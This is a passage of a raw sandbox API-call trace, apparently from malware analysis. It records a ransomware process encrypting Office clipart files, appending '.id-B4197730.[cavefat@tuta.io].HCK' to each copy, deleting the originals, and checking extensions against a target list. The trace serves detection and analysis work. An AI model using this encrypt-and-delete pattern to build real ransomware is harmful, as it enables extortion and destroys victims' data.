| out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.637] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.637] SetEndOfFile (hFile=0x39c) returned 1 [0180.641] CloseHandle (hObject=0x39c) returned 1 [0180.643] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.643] SetEndOfFile (hFile=0x3a4) returned 1 [0180.644] CloseHandle (hObject=0x3a4) returned 1 [0180.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00704_.wmf")) returned 1 [0180.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.645] lstrlenW (lpString=".doc") returned 4 [0180.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.645] lstrlenW (lpString=".docx") returned 5 [0180.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.645] lstrlenW (lpString=".pdf") returned 4 [0180.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.645] lstrlenW (lpString=".xls") returned 4 [0180.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.646] lstrlenW (lpString=".xlsx") returned 5 [0180.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.646] lstrlenW (lpString=".ppt") returned 4 [0180.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString=".zip") returned 4 [0180.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.646] lstrlenW (lpString=".rar") returned 4 [0180.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString=".bz2") returned 4 [0180.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString=".7z") returned 3 [0180.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString=".dbf") returned 4 [0180.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString=".1cd") returned 4 [0180.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString=".jpg") returned 4 [0180.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString=".doc") returned 4 [0180.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString=".docx") returned 5 [0180.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.646] lstrlenW (lpString=".pdf") returned 4 [0180.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString=".xls") returned 4 [0180.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.646] lstrlenW (lpString=".xlsx") returned 5 [0180.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.646] lstrlenW (lpString=".ppt") returned 4 [0180.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.646] lstrlenW (lpString=".zip") returned 4 [0180.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.646] lstrlenW (lpString=".rar") returned 4 [0180.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString=".bz2") returned 4 [0180.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.646] lstrlenW (lpString=".7z") returned 3 [0180.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.647] lstrlenW (lpString=".dbf") returned 4 [0180.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.647] lstrlenW (lpString=".1cd") returned 4 [0180.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 68 [0180.647] lstrlenW (lpString=".jpg") returned 4 [0180.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.647] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.647] lstrlenW (lpString="SO00734_.WMF") returned 12 [0180.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.648] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1632) returned 1 [0180.648] CloseHandle (hObject=0x39c) returned 1 [0180.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf")) returned 0x220 [0180.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.657] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.657] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.659] GetLastError () returned 0x0 [0180.659] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x660, lpOverlapped=0x0) returned 1 [0180.662] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x670, lpOverlapped=0x0) returned 1 [0180.663] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.663] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.663] SetEndOfFile (hFile=0x370) returned 1 [0180.666] CloseHandle (hObject=0x370) returned 1 [0180.667] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.667] SetEndOfFile (hFile=0x368) returned 1 [0180.668] CloseHandle (hObject=0x368) returned 1 [0180.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00734_.wmf")) returned 1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString=".doc") returned 4 [0180.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString=".docx") returned 5 [0180.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.671] lstrlenW (lpString=".pdf") returned 4 [0180.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString=".xls") returned 4 [0180.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.671] lstrlenW (lpString=".xlsx") returned 5 [0180.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.671] lstrlenW (lpString=".ppt") returned 4 [0180.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString=".zip") returned 4 [0180.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.671] lstrlenW (lpString=".rar") returned 4 [0180.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString=".bz2") returned 4 [0180.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString=".7z") returned 3 [0180.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString=".dbf") returned 4 [0180.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString=".1cd") returned 4 [0180.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString=".jpg") returned 4 [0180.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.671] lstrlenW (lpString=".doc") returned 4 [0180.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString=".docx") returned 5 [0180.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.672] lstrlenW (lpString=".pdf") returned 4 [0180.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString=".xls") returned 4 [0180.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.672] lstrlenW (lpString=".xlsx") returned 5 [0180.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.672] lstrlenW (lpString=".ppt") returned 4 [0180.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.672] lstrlenW (lpString=".zip") returned 4 [0180.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.672] lstrlenW (lpString=".rar") returned 4 [0180.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString=".bz2") returned 4 [0180.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString=".7z") returned 3 [0180.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.672] lstrlenW (lpString=".dbf") returned 4 [0180.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.672] lstrlenW (lpString=".1cd") returned 4 [0180.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00734_.WMF") returned 68 [0180.672] lstrlenW (lpString=".jpg") returned 4 [0180.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.672] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.672] lstrlenW (lpString="SO00783_.WMF") returned 12 [0180.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.674] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5870) returned 1 [0180.674] CloseHandle (hObject=0x370) returned 1 [0180.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf")) returned 0x220 [0180.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.679] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.679] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.683] GetLastError () returned 0x0 [0180.683] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16ee, lpOverlapped=0x0) returned 1 [0180.687] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16f0, lpOverlapped=0x0) returned 1 [0180.688] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.688] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.688] SetEndOfFile (hFile=0x370) returned 1 [0180.691] CloseHandle (hObject=0x370) returned 1 [0180.692] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.692] SetEndOfFile (hFile=0x300) returned 1 [0180.693] CloseHandle (hObject=0x300) returned 1 [0180.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00783_.wmf")) returned 1 [0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.694] lstrlenW (lpString=".doc") returned 4 [0180.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".docx") returned 5 [0180.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.695] lstrlenW (lpString=".pdf") returned 4 [0180.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".xls") returned 4 [0180.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.695] lstrlenW (lpString=".xlsx") returned 5 [0180.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.695] lstrlenW (lpString=".ppt") returned 4 [0180.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString=".zip") returned 4 [0180.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.695] lstrlenW (lpString=".rar") returned 4 [0180.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".bz2") returned 4 [0180.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".7z") returned 3 [0180.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString=".dbf") returned 4 [0180.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString=".1cd") returned 4 [0180.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString=".jpg") returned 4 [0180.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString=".doc") returned 4 [0180.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".docx") returned 5 [0180.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.695] lstrlenW (lpString=".pdf") returned 4 [0180.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".xls") returned 4 [0180.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.695] lstrlenW (lpString=".xlsx") returned 5 [0180.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.695] lstrlenW (lpString=".ppt") returned 4 [0180.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.695] lstrlenW (lpString=".zip") returned 4 [0180.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.695] lstrlenW (lpString=".rar") returned 4 [0180.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".bz2") returned 4 [0180.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.695] lstrlenW (lpString=".7z") returned 3 [0180.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.696] lstrlenW (lpString=".dbf") returned 4 [0180.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.696] lstrlenW (lpString=".1cd") returned 4 [0180.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00783_.WMF") returned 68 [0180.696] lstrlenW (lpString=".jpg") returned 4 [0180.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.696] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.696] lstrlenW (lpString="SO00837_.WMF") returned 12 [0180.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.697] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16360) returned 1 [0180.697] CloseHandle (hObject=0x370) returned 1 [0180.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf")) returned 0x220 [0180.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.711] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.711] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00837_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00837_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 291 os_tid = 0x1168 [0147.776] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3760960 [0147.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3770968 [0147.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7085a0 [0147.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e890 [0147.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708648 [0147.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x3b21020 [0147.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708660 [0147.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708660, Size=0x20) returned 0x6eec98 [0147.779] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7085b8 [0147.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7085b8, Size=0x20) returned 0x6eeb08 [0147.779] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.779] GetProcAddress 